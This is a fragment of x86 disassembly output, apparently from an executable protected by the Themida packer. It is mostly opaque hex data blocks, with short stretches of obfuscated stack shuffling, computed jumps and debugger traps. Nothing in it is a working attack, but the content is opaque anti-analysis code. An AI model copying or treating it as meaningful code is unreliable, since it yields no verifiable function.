		dd 0DA7FC4C7h, 9B97AB6Fh, 0BA06C0E7h, 0CEE5AB4Fh, 645FB237h
		dd 0B1CF6CE7h, 4FC248FAh, 9BB0ACABh, 15435h, 0BD5C9700h
		dd 0E05D4C1Eh, 0FE67FC2Bh, 0ADC57D2Ch, 45219423h, 0AD567521h
		dd 2CD36678h, 825CE2F7h, 698BF649h, 6C81A3E7h, 0F0338EFh
		dd 6C827F48h, 740BB4FFh, 0E0CBF6ADh, 0BF680662h, 0ECAA682h
		dd 0F7ABE087h, 274C97B0h, 0BBB5D4h, 25E1247h, 76BF56E5h
		dd 0B4CFDCDh, 4A411B17h, 0C69543F8h, 4A24401Ch,	0FFAADB8Fh
		dd 0C6954343h, 0F7ABC7A3h, 61D85E7Bh, 368C7FAAh, 0CEC69543h
		dd 0A8826E52h, 5D4C7D31h, 0C69543E5h, 55412501h, 77B65AD1h
		dd 33D2A78Bh, 94C62BA7h, 30F62C95h, 95243A14h, 0BC58AAF4h
		dd 75B5E707h, 0AC1A551h, 0FC782C61h, 65FE24DFh,	0E574C695h
		dd 984F0641h, 98948663h, 0A338BF24h, 1F5E12C9h,	6DAEF73h
		dd 0A51DE203h, 0FCA9CCCh, 0CE742358h, 26C8856Dh, 8554264Ah
		dd 4AF8B3DEh, 0AAC8856Dh, 82DE92AEh, 6922B965h,	4A017834h
		dd 0BC98D57Ah, 6D49A1C8h, 4D23C885h, 1E9DD88Eh,	6C4F2C69h
		dd 5E934CD5h, 0A64910EAh, 0A4B9BD69h, 0F125A5E7h, 9E3DC054h
		dd 24F4AB2Ah, 0D65A467Bh, 135F06FAh, 0D0D7737Ah, 1AD150EFh
		dd 39F269E5h, 14A31004h, 4E68DAD1h, 908CC761h, 2AEF9AB4h
		dd 0DCCD5116h, 67F2CC80h, 0F87186C5h, 3Ch, 1EBD5C44h, 8BC5D4Ch
		dd 0CE4A67FCh, 0C6FDA322h, 86471512h, 0B5C714A8h, 239254F6h
		dd 9AB4B094h, 0F22CD3B1h, 0F13FF3Eh, 57B80D2Ah,	0BFA17F82h
		dd 23AE76CCh, 52F78E94h, 84203D19h, 2A97932h, 795DD9CDh
		dd 0F22FD467h, 914522FEh, 2436A534h, 0FC192465h, 7486E267h
		dd 0E01BCF8Ah, 0B4F39534h, 4A00BB90h, 661C9B0Fh, 0F39FDA90h
		dd 529F536Fh, 434618C3h, 9E13F21Eh, 0A1C8BCB8h,	9E13C225h
		dd 34469524h, 2393CC75h, 422E2A94h, 3F1AB13h, 9A394A80h
		dd 9BA88E5Fh, 853BFE45h, 0A9BEA24Eh, 3047h, 0BD5C8500h
		dd 0D68D4C1Eh, 5C71F5A1h, 8648584h, 0AB2267FCh,	6BC7BBF8h
		dd 28172F7Eh, 472B0C3Dh, 2C4A5Bh, 88760000h, 234221A1h
		dd 9469C594h, 1EBD5CB8h, 1B345D4Ch, 0BBD267FCh,	0FAB1CB08h
		dd 94239D48h, 0BA94B0ACh, 588C0791h, 14E9ED7Bh,	79326412h
		dd 0AF7A9744h, 212B3EAh, 60B91h, 2F721400h, 0D44FC7Bh
		dd 0EA23CA51h, 744E76Eh, 0E120C453h, 0D1037F6Dh, 0ED6CE01Fh
		dd 0B83FFB3Ch, 0D463D712h, 4742F62Bh, 3E0CB675h, 0BE86BD4h
		dd 4596D741h, 0BF7F0E69h, 95320CE1h, 84568594h,	0FC311C85h
		dd 0E35EBA67h, 68BBCE34h, 10B5845Ah, 546302D7h,	5269097Eh
		dd 0CB80C841h, 0BC8EB28Eh, 397217A2h, 5C994E4Dh, 0D3A8CCA8h
		dd 55CA87D8h, 4F431F50h, 76885362h, 65F37DB3h, 47191556h
		dd 0B1ECA219h, 0CF8C61C5h, 0F067E318h, 22550237h, 6E986325h
		dd 5722DB6h, 0CB7B0000h, 9F45D488h, 0C065F468h,	9F44D387h
		dd 0BD6FE662h, 0A0DCCA7Eh, 8B3F7E32h, 0A418590Ch, 82367115h
		dd 0A3174CF3h, 6DD5D4A8h, 896BD43Eh, 7932A02Ch,	0AF569744h
		dd 0EEA6B3EAh, 533E5h, 478A3C00h, 255C0493h, 427B32A9h
		dd 1F5C0F86h, 39782CABh, 97B8785h, 25B42867h, 10874384h
		dd 2CAB1F5Ah, 9F8A3E73h, 3E54EE9Dh, 33B06BD4h, 44793269h
		dd 0EC546350h, 0E12FE33h, 8D711832h, 7967F434h,	5571AC62h
		dd 0D36D8CD9h, 260AF62Dh, 0D479304Ah, 329E1BD6h, 0A31B4A36h
		dd 429E1BDAh, 96579231h, 63F9383h, 81568D33h, 9ECFh, 1C0FF100h
		dd 9E1BE2A6h, 3F05E23Eh, 0A138B915h, 0F869203Ah, 1E67FC20h
		dd 28432842h, 0DFCF3747h, 38DF708Dh, 0A7283DE0h, 0EB28DB5Eh
		dd 0FC464537h, 1847245Dh, 0C223381Ch, 0A8D6A833h, 4E427D31h
		dd 0F50EF5D2h, 914D1438h, 514E195h, 270504D6h, 0DF432385h
		dd 39F26983h, 1AD14804h, 0D03D78E5h, 8591AD2Eh,	45B14h
		dd 7FC26400h, 5D944CCBh, 7AB35AE1h, 579437BEh, 71B054E3h
		dd 41B3CFBDh, 5DDC508Fh, 68EF6BACh, 44D387C2h, 0F7F2669Bh
		dd 3FBC0605h, 5B586BD4h, 7840D1h, 5C8C0000h, 5D4C1EBDh
		dd 67F434A9h, 0FA484335h, 1A942BB4h, 9148223Eh,	2B620ADAh
		dd 63D7FB77h, 0AF62BD4h, 0A3BD1EB5h, 1BC3D7E8h,	3F332F9Eh
		dd 66786372h, 2BB19EA3h, 0AA617894h, 0B7EC5175h, 0FF5E2D05h
		dd 3DEBE27h, 47E70000h,	1BD14804h, 3CF168E4h, 1BD04703h
		dd 39EB6ADEh, 3C483EFAh, 5FDB1ACEh, 38F435D8h, 56D20DC1h
		dd 37F328DFh, 1C16854h,	0E56BD438h, 40023C08h, 826DCC7Ch
		dd 2BD714B7h, 0CD793247h, 76DCC7Ch, 78558C34h, 0F30DCEE5h
		dd 9594BF68h, 6DCC7C2Dh, 9D896DC9h, 0ED9CC499h,	67F43409h
		dd 0E8D79F5h, 6CBB2055h, 0A04A0D67h, 36EE3F4h, 0D7770000h
		dd 0EBA11894h, 0CC81F8B4h, 0EBA01793h, 0C97BFAAEh, 0ACD8CE8Ah
		dd 8F4B8A3Eh, 0A8246508h, 86427D31h, 0A723580Fh, 71D1B8C4h
		dd 956BD438h, 79328C18h, 7CE75B4Eh, 0AACA6DCCh,	711A911h
		dd 60D7534Bh, 0A05470A9h, 6A21C453h, 6DCCFCD8h,	0EA04E03Ch
		dd 8E82B96Fh, 0BDA3B592h, 390E47FEh, 0FC8D5552h, 2FEC7167h
		dd 0F64C3F09h, 0E943C1Eh, 2B2B2512h, 94B0EDA2h,	1C386F15h
		dd 5CEDE9A0h, 0AE620225h, 883CBB6Fh, 58E35D49h,	0A56476B3h
		dd 0E23B5B1Dh, 0FD607DF9h, 669F46FAh, 7943ADBAh, 5F1F091Ch
		dd 11EB5F83h, 0C3EB98DCh, 0CA9FD4C9h, 5E04D702h, 0D68D4623h
		dd 539ECFA1h, 24510C2Fh, 45444217h, 90F5699Eh, 2D494989h
		dd 0AA6DB20Ah, 0FCAB4C6h, 0F175215Ah, 800A2FDCh, 20FC67FCh
		dd 7992574h, 477C943Ch,	0AE844DA8h, 3964397Ah, 0A6000000h
		dd 4C1EBD5Ch, 0C902A732h, 7CDAF7B4h, 441A67FCh,	2383FD45h
		dd 0D7E9E494h, 0E9A87776h, 0CB7E3D39h, 0B1AD6D8Ah, 0AF2896C5h
		dd 0B8CB9423h, 6311DC19h, 0AFF1397Bh, 5B000000h, 3A97932h
		dd 20570DCCh, 97395044h, 762DAC58h, 8D365541h, 0FB38658h
		dd 35E626CBh, 4E72C1EEh, 9B06C579h, 6C6DCC1Ch, 0ED6C7EB3h
		dd 10140037h, 4BF4833Bh, 7E956A16h, 4388835Dh, 367FC17h
		dd 0C74EB327h, 7B4F3A14h, 8B9E0AB0h, 4AFEBD8Fh,	0DE0FF10Bh
		dd 0F40A9251h, 5BD6C4Eh, 1A9E1114h, 0EC483875h,	1CD0470Fh
		dd 0C7C770DDh, 0AF674037h, 1CF26h, 0F336D800h, 0D108C037h
		dd 0EE27DE5Dh, 0CB08BB3Ah, 0A5E4880Fh, 95C74329h, 81F8B4F3h
		dd 9C1B8FD0h, 0A82FABE6h, 1B0ECAFFh, 3AD86A21h,	5F3C6BD4h
		dd 3F7E32D5h, 1E530C8Bh, 0BD5C1CAAh, 745D4C1Eh,	7067FC7Ch
		dd 160A45E9h, 0E13D3D1Ah, 7CD86635h, 453B943Ch,	7CD2701Bh
		dd 3632943Ch, 0E7E38221h, 397522E6h, 0FBD07794h, 7A6DA904h
		dd 0DB8939h, 0D7030000h, 0E68A5C04h, 5B77FBA7h,	0D90EB57Eh
		dd 0DF88532Dh, 5D7AF6AAh, 0FFF332D6h, 0CC01CD58h, 30651E6Dh
		dd 7517A27Ch, 11E64A36h, 1FD1A14Ah, 0BC689F45h,	8CE89CB8h
		dd 34E017CDh, 113A1430h, 46F81B67h, 5945223Bh, 0BC8E4D6Ch
		dd 0F342A9A2h, 0A930BD15h, 33384002h, 0ACC8A492h, 386BD7D2h
		dd 8F8B9233h, 4B08D1BAh, 1D9C9803h, 661C3166h, 926C4E0Ah
		dd 234D2B97h, 7A4FCB94h, 3D0FCCEBh, 15809D4Eh, 1DC6079Eh
		dd 943F361Eh, 0DA564C21h, 58973900h, 74B355E4h,	366974C7h
		dd 7B6C3840h, 0BCh, 66E225C5h, 460239EFh, 6DE11ACFh, 40FC39EEh
		dd 64D817B9h, 44E81A66h, 1FD24905h, 37EB6ADEh, 12B940FCh
		dd 926E61DDh, 0D43B2B97h, 46CECB6Bh, 8B3F7E32h,	0AA1E530Ch
		dd 6104D71Ch, 0EFA3E485h, 24A34F73h, 0D0544081h, 0A35CD7F4h
		dd 45F81A65h, 6E52FA0Eh, 14B7825Ch, 60472BD7h, 6DCC3EE2h
		dd 55542602h, 6DCC3EEDh, 4E502D09h, 0DF5B9037h,	96687382h
		dd 0F4765F93h, 877BF767h, 0A6225710h, 4F43782Fh, 291E2B08h
		dd 18B70821h, 813D7219h, 681C51FAh, 43E6BE71h, 0A032DE02h
		dd 0E1587211h, 5FDCF12Eh, 0E5B773A8h, 42AE1DE8h, 0DFFC1864h
		dd 8A76AB54h, 319h, 6D5F7300h, 493D8032h, 0B0649952h, 463A7519h
		dd 0A95D9E4Fh, 533F7E32h, 0A5519034h, 50448126h, 0A75B9439h
		dd 55417830h
		db 0CFh
; ---------------------------------------------------------------------------


loc_5CFCB9:				; DATA XREF: Themida_:0054CFA0o
					; Themida_:0054E4C0o
		push	edi
		mov	edi, esp
		add	edi, 4
		push	esi
		mov	esi, 4
		sub	edi, esi
		pop	esi
		xchg	edi, [esp]
		pop	esp
		push	5902h
		mov	[esp], esi
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebp
		mov	esi, 16B05BD4h
		push	edx
		mov	edx, 10A8631Fh
		xor	esi, edx
		pop	edx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebp
		sub	esp, 4
		mov	[esp], esi
		pop	dword ptr [ebp+8]
		mov	ebp, [esp]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_5534D8
; ---------------------------------------------------------------------------
		inc	eax


loc_5CFD35:				; CODE XREF: Themida_:loc_5CECB9j
		mov	eax, 618484Eh
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		sbb	ecx, [edi]
		sbb	eax, 0B941EB0Bh
		xor	[edx+48h], dl
		jl	short loc_5CFDBA
		int	3		; Trap to Debugger
		and	eax, [ebp+2D302D1Fh]
		cmp	eax, 1CF58727h
		sbb	[esi+4Bh], dl
		jno	short loc_5CFDA5
		retf
; ---------------------------------------------------------------------------
		dd 598E72EDh, 16356B22h, 0EC543766h, 2C99293Ch,	0D691F89h
		dd 5D8954F9h, 8D8D469Ch, 61849F0h, 0FE9h, 33E96100h, 0B62A7C50h
		dd 0AC77C816h, 4FC51EDh, 2951958Bh, 8D890610h, 61009F5h
		dd 0E856006Ah, 3
		db 20h
; ---------------------------------------------------------------------------


loc_5CFDA5:				; CODE XREF: Themida_:005CFD59j
		pop	esi
		retn
; ---------------------------------------------------------------------------
		pop	esi
		mov	[esp+4], esi
		add	dword ptr [esp+4], 1Ch
		inc	esi
		push	esi
		retn
; ---------------------------------------------------------------------------
		xchg	eax, edi
		push	36h


loc_5CFDBA:				; CODE XREF: Themida_:005CFD48j
		pop	es
		mov	byte ptr [ebx-7495883Ah], 95h
		popa
		adc	eax, 85C70610h
		sbb	[ebx], esp
		adc	[esi], al
		nop
		push	0C7F80000h
		test	eax, ecx
		and	dl, [eax]
		push	es
; ---------------------------------------------------------------------------
		db 0
		dd 6A000000h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 14042444h, 40000000h, 0E9DFC350h, 5,	0A1B2FCB7h, 0EDB5FFBAh
		dd 0E8061011h, 8
dword_5CFE0C	dd 0BD80585Ch, 92E1F3CBh, 0EE9h, 74422D00h, 0FA330B23h
					; DATA XREF: Themida_:0054B638o
					; Themida_:0054C28Co ...
		dd 0ACF63B33h, 5B1ABFE2h, 2DB995FFh, 6A0610h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 59BA19C3h
		dd 2872CA8Eh, 0F28B66F5h, 95FF006Ah, 61031C9h, 68EBC08Bh
		dd 405D2238h, 126661E1h, 0DC919211h, 0A5B69B70h, 0C5B3F6B8h
		dd 808E6F2Fh, 0BE851BD3h, 37E4836Ch, 0DEFF5EC3h, 6D770F51h
		dd 7D7AE2C9h, 882BAE14h, 0D343015Bh, 66E0DE2Ch,	0AE388E3h
		dd 6B2CAE4Fh, 0C9C9A2AFh, 5711D1A6h, 810AB51Ah,	32E9CEAEh
		dd 0BE2B047Eh, 0E165B8BAh, 10584Ch, 0CBFE05F2h,	7CE6D53Ah
		dd 0E714D4E0h, 4BA48D8Dh, 6A0618h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 150424h, 57470000h, 0E85219C3h, 0Fh, 5E1AE6CBh
		dd 3A252230h, 0F5CAA36Fh, 89BDB822h, 1032898Dh,	0B5095806h
		dd 6101D7Dh, 9F58D89h, 6A0610h,	3E855h,	5D200000h, 6C895DC3h
		dd 44810424h, 140424h, 55450000h, 0E96057C3h, 8, 4BE7008Bh
		dd 0EB9E7E6Ch, 0DBF48061h, 231985C7h, 62600610h, 6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1B0424h, 50400000h
		dd 0AB548FC3h, 5A1F77Ch, 0FE9ABh, 11320000h, 60CA64B2h
		dd 7FDD7883h, 0BA2F6A76h, 0C185C71Fh, 61022h, 6A000000h
		dd 3E85600h, 20000000h,	895EC35Eh, 81042474h, 1C042444h
		dd 46000000h, 2965C356h, 9A8C4255h, 310FD98Bh, 10106D8Dh
		dd 0EDB5FF06h, 6A061011h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 1C042444h, 45000000h, 4122C355h, 9F03D4EDh
		dd 0FC58AB00h, 2DB995FFh, 6A0610h, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 1A0424h, 50400000h, 588B3BC3h, 44374F89h
		dd 95FF006Ah
; ---------------------------------------------------------------------------
		leave
		xor	[eax], edx


loc_5D000F:				; DATA XREF: Themida_:0054E6F4o
		push	es
		mov	eax, eax
		jmp	short loc_5D007C
; ---------------------------------------------------------------------------
		db 90h
		db 40h,	0DAh, 0FEh
		dd 0AFE35BB2h, 9CA98B4Ah, 83A94881h, 0BB466CD3h, 0E83462C8h
		dd 3FB310A1h, 411276D7h, 23A6FBFDh, 585CC37Dh, 0F3CBBD80h
		dd 668192E1h, 0C7CA2532h, 8F561EE1h, 0EF0D78D3h, 0DC014AADh
		dd 682BCE00h, 0F8BE79AFh, 0A454CA00h, 23D7025Fh, 0D87CFEFCh
		dd 3E3613D3h, 6199DC48h, 349FD76Eh, 2AC89337h, 88CB742Ah
; ---------------------------------------------------------------------------


loc_5D007C:				; CODE XREF: Themida_:005D0012j
		jmp	short loc_5D008E
; ---------------------------------------------------------------------------
		align 10h
		dd 3 dup(0)
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5D008E:				; CODE XREF: Themida_:loc_5D007Cj
		mov	eax, eax
		cmp	dword ptr [ebp+610158Dh], 0
		jnz	short loc_5D00A2
		cmp	dword ptr [ebp+6100095h], 0
		jz	short loc_5D00BB


loc_5D00A2:				; CODE XREF: Themida_:005D0097j
		push	eax
		push	ebx
		mov	eax, eax
		mov	eax, 42Dh
		mov	[ebp+6100E65h],	eax
		lea	ebx, [ebp+612B815h]
		call	ebx
		pop	ebx
		pop	eax


loc_5D00BB:				; CODE XREF: Themida_:005D00A0j
		cmp	dword ptr [ebp+6100095h], 0
		jz	short loc_5D00DB
		push	eax
		push	ebx
		mov	eax, 42Dh
		mov	[ebp+6100E65h],	eax
		lea	ebx, [ebp+612B504h]
		call	ebx
		pop	ebx
		pop	eax


loc_5D00DB:				; CODE XREF: Themida_:005D00C2j
		or	edx, [ebp+6102D7Dh]
		push	0
		push	edx
		call	sub_5D00EC
		and	[edx-3Dh], bl

; =============== S U B	R O U T	I N E =======================================



sub_5D00EC	proc near		; CODE XREF: Themida_:005D00E4p

arg_4		= dword	ptr  8

		pop	edx
		mov	[esp-4+arg_4], edx
		add	[esp-4+arg_4], 1Ah
		inc	edx
		push	edx
		retn
sub_5D00EC	endp

; ---------------------------------------------------------------------------
		dd 4A0F0E02h, 8B3D43EBh, 8E9C0h, 0B66C0000h, 0A764D570h
		dd 8D8BCF16h, 6100B5Dh,	437DCE81h, 0F98365DEh, 6A840F00h
		dd 8B000000h, 1016AD95h, 3D8B6406h, 2Ch, 0E855006Ah, 3
		dd 5DC35D20h, 4246C89h,	4244481h, 1Ah, 0C5C35545h, 50517968h
		dd 62B288EAh, 840FFF0Bh, 31h, 219D89h, 3F8B0610h, 9E8FCh
		dd 0BE670000h, 920742DEh, 66DF1677h, 0EF4E681h,	0E9C0325Eh
		dd 5, 0EA63B6B1h, 29AAF3B9h, 100B91B5h,	41493506h, 85C65350h
		dd 61023E5h, 0F98D8947h, 68061009h, 7399E022h, 5EF28B51h
		dd 0A240481h, 6A693CA8h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 37D8C352h, 894C7057h
		dd 1016A18Dh, 45B5FF06h, 6A06101Dh, 3E85700h, 20000000h
		dd 895FC35Fh, 8104247Ch, 1B042444h, 47000000h, 0B2F7C357h
		dd 0D847995Ah, 0D2BA8E34h, 8D44C2FAh, 13858A85h, 51858906h
		dd 8B061021h, 102379B5h, 6AD0FF06h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 1D042444h, 42000000h, 0A31AC352h
		dd 0A90AED07h, 0D4D153FDh, 18A1B58Bh, 85890610h, 6100F95h
		dd 0EE9h, 0B9A40E00h, 985A8B6Dh, 41560839h, 0C64535D9h
		dd 1023E585h, 6A5306h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 1B0424h, 51410000h, 5FEE5BC3h, 8691FCECh, 6800F5Dh
		dd 8B000000h, 102D0D95h, 0EE906h, 0A8EB0000h, 0A26CEF46h
		dd 682A1658h, 0C362B174h, 2A199D89h, 18680610h,	0BADBE5A0h
		dd 41A22692h, 0E4243481h, 1537DCAh, 101FED95h, 45B5FF06h
		dd 5606101Dh, 5ED2BF0Fh, 8A858DF9h, 6A061385h, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 2353C356h, 8F0FF158h, 6, 2F69958Bh, 0D0FF0610h, 1FAD9D89h
		dd 858D0610h, 61345E6h,	9FAABE56h, 0F55E41F7h, 6B98589h
		dd 8E80610h, 39000000h,	75F29051h, 606B6289h, 89C68B66h
		dd 100D3D85h, 6A5A6106h, 0FFFF6A20h, 1006B995h,	41493506h
		dd 85C75350h, 6102969h,	1, 148D85C7h, 610h, 6A0000h, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 1A0424h, 50400000h
		dd 0B5205DC3h, 578F9A98h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 19h, 0C3C35141h, 36E62F86h, 0BD858BEBh, 0E906101Fh
		dd 13h,	8288ACC4h, 66169C68h, 0A42E8449h, 0C70D4059h, 6413607Ah
		dd 0A3h, 5AA3BE00h, 0BD831A33h,	6103105h, 77840F00h, 0E9000000h
		dd 12h,	0A263AE3Ch, 22108AF5h, 50BF78C5h, 97AB2DE8h, 858B902Dh
		dd 6100849h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h
		dd 19h,	8DC35747h, 0F30996FBh, 0B9D6813Fh, 8B734C35h, 50006AE0h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1504h, 0C3504000h
		dd 0FE97597h, 8B000000h, 778480C9h, 0C17F1EC8h,	0EA65C71h
		dd 0BD83282Bh, 610116Dh, 55850F00h, 6A000004h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1A042444h, 41000000h
		dd 29CEC351h, 7B9010C8h, 7E985h, 778A0000h, 0C792777Eh
		dd 0E585C679h, 56061023h, 8468D38Bh, 0BEC35577h, 4D24912Ch
		dd 5B243481h, 6A6A9047h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 8DE2C352h, 81403592h
		dd 0CA81D1EAh, 45B5FF33h, 0F06101Dh, 858DF6BFh,	613858Ah
		dd 0FFCED680h, 55006AD0h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1604h, 0C3554500h, 9D5ECA6h, 100B71B5h, 5DB58B06h
		dd 9006101Eh, 505081B2h, 66310F52h, 5A4A78BAh, 8D8D9058h
		dd 61015A5h, 469AAFBEh,	65958921h, 91061020h, 5E857h, 0F7C70000h
		dd 66C57F02h, 5A5031BEh, 8E9505Ah, 7E000000h, 0E1E1C0BBh
		dd 919D71B0h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 14h,	1DC35141h, 6A046Ah, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 140424h, 57470000h, 666031C3h, 47EBD781h
		dd 565BD01h, 68610610h,	0EA3D5F02h, 81D08B66h, 0B0FE2404h
		dd 858915C2h, 61030D1h,	1FD5B5FFh, 6A0610h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 17E7CCC3h
		dd 50B4C178h, 0B960DF37h, 2D4DDE25h, 61F8BF0Fh,	11E8h
		dd 4527300h, 5B05118Fh,	12E538ECh, 0D36FAA2Eh, 0BE8C158h
		db 3 dup(0)
byte_5D05EF	db 46h			; DATA XREF: Themida_:0054D748o
		dd 0A04AF3Dh, 849E815Ah, 6E98185h, 13000000h, 84321F7Ch
		dd 505A5E99h, 12E8h, 3B56E200h,	68088B0Bh, 0F3379462h
		dd 2BF1542Dh, 18BF315h,	1022DDB5h, 0FF5A5A06h, 51006AD0h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1504h, 0C3514100h
		dd 8A0F150Bh, 0Ch, 6850Fh, 958B0000h, 6100729h,	8BB6F680h
		dd 101FD5BDh, 1DB58B06h, 3061020h, 0D08B3C7Fh, 0F8C781h
		dd 9D890000h, 6100E21h,	202447C7h, 0F600000h, 8Ah, 13BD8300h
		dd 6184Ch, 111840Fh, 95030000h,	6103161h, 5628C783h, 7C75AF9h
		dd 64696A2Eh, 25958B60h, 6606101Fh, 0C761FB8Bh,	74610447h
		dd 0F600061h, 688h, 1D958900h, 89061020h, 100089BDh, 0B58B6106h
		dd 6100255h, 4C1B858Bh,	0F08B0618h, 6A0C4789h, 3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 18042444h, 42000000h
		dd 0B780C352h, 5217CC5Ch, 249BD89h, 295A0610h, 10211D8Dh
		dd 1F858B06h, 8906184Ch, 1001319Dh, 9E806h, 7A0A0000h
		dd 0D195A6D5h, 8161A9A6h, 159694F2h, 47895E03h,	0D18B6608h
		dd 6628C783h, 9533F28Bh, 6103161h, 632E07C7h, 0E6816E6Fh
		dd 5184DA6Bh, 660447C7h, 89006769h, 102F7195h, 17858B06h
		dd 6A06184Ch, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1A042444h, 45000000h, 920BC355h, 885CD333h, 0C478952h
		dd 13858BFCh, 3106184Ch, 1029F985h, 8478906h, 8C0FF560h
		dd 4, 0EC1EBA66h, 0E5B53361h, 58061030h, 8D8D5A52h, 6102EA5h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 94C35646h
		dd 3356B86Dh, 102781B5h, 0E9505A06h, 0Bh, 3E1106ABh, 3E936DF1h
		dd 8928C903h, 6A240Ch, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 150424h, 56460000h, 53EE51C3h, 2861B58Bh, 0E95E0610h
		dd 0Dh,	0F7434571h, 0E6DB188Eh,	0FB4AFF6Ah, 0A5B5FF45h
		dd 8B061015h, 100A95B5h, 86F6806h, 0AE940F3h, 83000000h
		dd 829AADFFh, 0CF400BD2h, 24348132h, 40F3186Fh,	0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 19h, 43C35040h, 0E807F84Bh
		dd 69B50B7Ah, 0FF061031h, 101FD5B5h, 57006A06h,	3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 14BCB2D9h
		dd 29639D6Fh, 101D51B5h, 0C1806006h, 0C58503A7h, 61061009h
		dd 958BD0FFh, 61010BDh,	0B8h, 0BD38B00h, 24840FC0h, 8B000000h
		dd 10276DB5h, 8DB5FF06h, 0E9061030h, 7,	0A1645F36h, 0FFC370B4h
		dd 102DB995h, 51B50106h, 8B061031h, 41B533C0h, 83061002h
		dd 10158DBDh, 9750006h,	95BD83h, 74000610h, 8B535019h
		dd 42DB8C0h, 85890000h,	610132Dh, 0B87C9D8Dh, 0D3FF0612h
		dd 0BD83585Bh, 6100095h, 50177400h, 42DB853h, 85890000h
		dd 610132Dh, 0B51D9D8Dh, 0D3FF0612h, 9589585Bh,	6101F9Dh
		dd 68C0Fh, 0E6810000h, 48EE748Dh, 8166C08Bh, 661B36E6h
		dd 0C08BF78Bh, 0BE9h, 5F41C200h, 18h, 0
; ---------------------------------------------------------------------------
		jmp	loc_5D0EA2
; ---------------------------------------------------------------------------
		db 38h,	96h, 53h
		dd 71A860D7h, 4E873EBDh, 6BA85BDAh, 85C468EFh, 35A7E3C9h
		dd 61D85493h, 3CBB6FB0h, 88F4B86h, 0BBAE2A5Fh, 2878CAC1h
		dd 3F9C6BD4h, 44793275h, 0BD973950h, 36F2CE09h,	1FD308BFh
		dd 1520204Dh, 0A159BB33h, 23580FCCh, 79B0586Fh,	805A0E8Dh
		dd 81E591C8h, 711AB165h, 0CE75483Ch, 2A989337h,	0CA6DCCDFh
		dd 897724Eh, 0EA1FC869h, 843E76Eh, 0E621C554h, 0A9EA9B3Ah
		dd 255C04D7h, 0B54C5648h, 3873171Eh, 7E4EF584h,	0C0B490C5h
		dd 0CCDF2C99h, 2DC4F36Dh, 6A9305C8h, 3DE67533h,	877BBC6Dh
		dd 57DBC7ABh, 76CE82h, 0D73C0000h, 7C4002A9h, 0C8A46DCCh
		dd 7C4FF3B6h, 0CBA76DCCh, 407E25AEh, 0EEFC0A57h, 0A24E729Fh
		dd 0CC8D4DF3h, 56EDCE6Dh, 6A453A93h, 13C1AA33h,	0C0D044BCh
		dd 1011B794h, 2F000000h, 70E85A51h, 100C6DCCh, 0C8BCF399h
		dd 32B58F6Ch, 0DD4F437Ah, 52700DF0h, 6E8BCCD1h,	1C083FE5h
		dd 0B6F59722h, 0CA9166CAh, 813CE825h, 0EAA28322h, 6E2299B3h
		dd 15A41A2Fh, 0E785396Eh, 225F04D7h, 9BDA8E45h,	0F838F0E7h
		dd 5E0E9449h, 2EE2FE37h, 8AAB4A59h, 4933A7E6h, 33CE7437h
		dd 0F5F16DCCh, 26C966B3h, 0D087E39Bh, 4F0CE118h, 77896398h
		dd 0CC2B0EB4h, 6D8AE66Dh, 3A731AB1h, 0CF661D46h, 8C36F50Bh
		dd 686DCC2Bh, 0F528EF0Ch, 0D5336ADCh, 73h, 6104D737h, 0B0557420h
		dd 0B57E5B77h, 4E20D413h, 0F29ED58Bh, 2BE2596Eh, 546BFEF2h
		dd 0EFA219BDh, 9D9BC2A5h, 0F332731h, 71EAFF63h,	0F2CC80BFh
		dd 9A91C467h, 6DCC2D28h, 807450CCh, 580CC7A4h, 0B96E6D19h
		dd 0A4DF887Ch, 0E335E80Dh, 4C15336Ah, 77000000h, 533F7E32h
		dd 0D7AB62D9h, 290DF932h, 0FFA3304Dh, 7E2FAAC4h, 8B5E203Dh
		dd 70141DB4h, 32EF7D31h, 84F437Ah, 6DCC7CBFh, 0EEA2D790h
		dd 7FB30D7h, 48740BB4h,	48CEFF81h, 26970FFBh, 7C13A8C5h
		dd 6A9F3879h, 11833h, 32720000h, 0C605A77Bh, 2BDF56DAh
		dd 0A920D4F0h, 6ED4D702h, 866DCC7Ch, 0BBDAC6AAh, 0BFD6CA09h
		dd 0A625D10Ah, 57DBC7FEh, 0F130CF70h, 71E3FF40h, 4B0223C2h
		dd 7CD56D1Ch, 35316DCCh, 0B1489D11h, 0E389502Ah, 0BD7CF8ACh
